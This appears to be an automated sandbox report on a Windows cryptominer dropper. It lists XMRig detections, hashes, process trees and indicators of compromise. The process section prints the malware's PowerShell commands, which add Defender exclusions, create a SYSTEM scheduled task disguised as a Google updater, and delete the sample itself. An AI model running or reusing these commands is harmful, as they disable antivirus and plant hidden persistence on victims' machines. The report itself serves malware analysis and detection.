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Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1310s -
max time network
1816s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231129-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
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Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2108 created 1232 2108 LM3BR4UBmKBzBP5H.exe 7 PID 2108 created 1232 2108 LM3BR4UBmKBzBP5H.exe 7 PID 2108 created 1232 2108 LM3BR4UBmKBzBP5H.exe 7 PID 2108 created 1232 2108 LM3BR4UBmKBzBP5H.exe 7 PID 1156 created 1232 1156 updater.exe 7 PID 1156 created 1232 1156 updater.exe 7 PID 1156 created 1232 1156 updater.exe 7 PID 1156 created 1232 1156 updater.exe 7 PID 1656 created 1232 1656 conhost.exe 7 PID 1156 created 1232 1156 updater.exe 7 -
XMRig Miner payload 28 IoCs
resource yara_rule behavioral17/memory/1128-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/1128-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2468 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1156 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1440 taskeng.exe -
resource yara_rule behavioral17/memory/1128-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/1128-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1156 set thread context of 1656 1156 updater.exe 53 PID 1156 set thread context of 1128 1156 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe LM3BR4UBmKBzBP5H.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1644 schtasks.exe 1988 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2696 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70bc9f31f350da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2108 LM3BR4UBmKBzBP5H.exe 2108 LM3BR4UBmKBzBP5H.exe 2796 powershell.exe 2108 LM3BR4UBmKBzBP5H.exe 2108 LM3BR4UBmKBzBP5H.exe 2532 powershell.exe 2108 LM3BR4UBmKBzBP5H.exe 2108 LM3BR4UBmKBzBP5H.exe 2108 LM3BR4UBmKBzBP5H.exe 2108 LM3BR4UBmKBzBP5H.exe 2404 powershell.exe 1156 updater.exe 1156 updater.exe 1624 powershell.exe 1156 updater.exe 1156 updater.exe 2240 powershell.exe 1156 updater.exe 1156 updater.exe 1156 updater.exe 1156 updater.exe 1656 conhost.exe 1656 conhost.exe 1156 updater.exe 1156 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 468 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 2532 powershell.exe Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 2240 powershell.exe Token: SeDebugPrivilege 1156 updater.exe Token: SeAssignPrimaryTokenPrivilege 2696 WMIC.exe Token: SeIncreaseQuotaPrivilege 2696 WMIC.exe Token: SeSecurityPrivilege 2696 WMIC.exe Token: SeTakeOwnershipPrivilege 2696 WMIC.exe Token: SeLoadDriverPrivilege 2696 WMIC.exe Token: SeSystemtimePrivilege 2696 WMIC.exe Token: SeBackupPrivilege 2696 WMIC.exe Token: SeRestorePrivilege 2696 WMIC.exe Token: SeShutdownPrivilege 2696 WMIC.exe Token: SeSystemEnvironmentPrivilege 2696 WMIC.exe Token: SeUndockPrivilege 2696 WMIC.exe Token: SeManageVolumePrivilege 2696 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2696 WMIC.exe Token: SeIncreaseQuotaPrivilege 2696 WMIC.exe Token: SeSecurityPrivilege 2696 WMIC.exe Token: SeTakeOwnershipPrivilege 2696 WMIC.exe Token: SeLoadDriverPrivilege 2696 WMIC.exe Token: SeSystemtimePrivilege 2696 WMIC.exe Token: SeBackupPrivilege 2696 WMIC.exe Token: SeRestorePrivilege 2696 WMIC.exe Token: SeShutdownPrivilege 2696 WMIC.exe Token: SeSystemEnvironmentPrivilege 2696 WMIC.exe Token: SeUndockPrivilege 2696 WMIC.exe Token: SeManageVolumePrivilege 2696 WMIC.exe Token: SeLockMemoryPrivilege 1128 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2532 wrote to memory of 1644 2532 powershell.exe 34 PID 2532 wrote to memory of 1644 2532 powershell.exe 34 PID 2532 wrote to memory of 1644 2532 powershell.exe 34 PID 2468 wrote to memory of 340 2468 cmd.exe 36 PID 2468 wrote to memory of 340 2468 cmd.exe 36 PID 2468 wrote to memory of 340 2468 cmd.exe 36 PID 2404 wrote to memory of 1260 2404 powershell.exe 41 PID 2404 wrote to memory of 1260 2404 powershell.exe 41 PID 2404 wrote to memory of 1260 2404 powershell.exe 41 PID 1440 wrote to memory of 1156 1440 taskeng.exe 42 PID 1440 wrote to memory of 1156 1440 taskeng.exe 42 PID 1440 wrote to memory of 1156 1440 taskeng.exe 42 PID 2240 wrote to memory of 1988 2240 powershell.exe 47 PID 2240 wrote to memory of 1988 2240 powershell.exe 47 PID 2240 wrote to memory of 1988 2240 powershell.exe 47 PID 1156 wrote to memory of 1656 1156 updater.exe 53 PID 2960 wrote to memory of 2696 2960 cmd.exe 49 PID 2960 wrote to memory of 2696 2960 cmd.exe 49 PID 2960 wrote to memory of 2696 2960 cmd.exe 49 PID 1156 wrote to memory of 1128 1156 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1232
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2108
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1644
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2468
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1260
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1988
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2072
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2960
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1656
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1128
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:340
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C:\Windows\system32\taskeng.exetaskeng.exe {461384A9-22D3-4732-B0D7-05756D0F9B52} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1156
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2696
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
461KB
MD5a50ab0d00b85cc295443afb7b670908d
SHA1c3b298f9a6c03e9cc06c406043bf8c0eaf14184e
SHA2566c69fa8b626b4af36167358a07fd3955cd571ef9711562b5cec3d90c56ab8990
SHA512ef979c7d69dde769386a5f24a20c6d463de9cbc86f1f3dd85b1716fe69931f7f18f02189aa0fd3bee4fbad2952b1fddbc2e7e1b4785ee97302b50366e5af6a7e
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Filesize
943KB
MD5026c8546fce6f4e6c4878720c6438a71
SHA10f0bf1c8b22725cc1db73f01f9c8df904fa3638b
SHA256893053c7cf6068887d7ae8ba63b68900fbfaef8efba7cbaeb1cbbef4469c2884
SHA512d87924a728d396f082a69581c9e0cbb67ff6c77bbbf0323a2896d7a38d90560d966bfea900057193efe3e4015abfb463244e8348ca4fee140b53d1234ccfd1fb
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5755276f9d212a97ca82bf99547bad9cc
SHA1c87fa1073a8bff0df00916ea3f1b460fd750951e
SHA2560cfb118263f4d560fb74d28ad9649ac5e2a6121c49a0b6c0283cd3c5f7f93cd4
SHA5125b13db7590644a8bce5e57da77f4a033422ce003608d3db5eceef86102703d8e82c41206e2f78649aa15e5c26ea8e3df86e783a9aac81e1243a9b6fa70087f57
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Filesize
421KB
MD546945c1547cdbe0a1b9b5572bf417b47
SHA1e502c51ceed8c86e2eb25b78d377935d3f9749a1
SHA2563f7a39fdf68334fa4e5f86e73dcad13880e11b53509f9f45261b30787c89d285
SHA5127904a360e937010bfad2e280685d1afec2c87724385625051dbef64851f58becd7c8fc4a3060de1095a4f0e14104a00399989438ee112fd347acfc8d4ca5ed88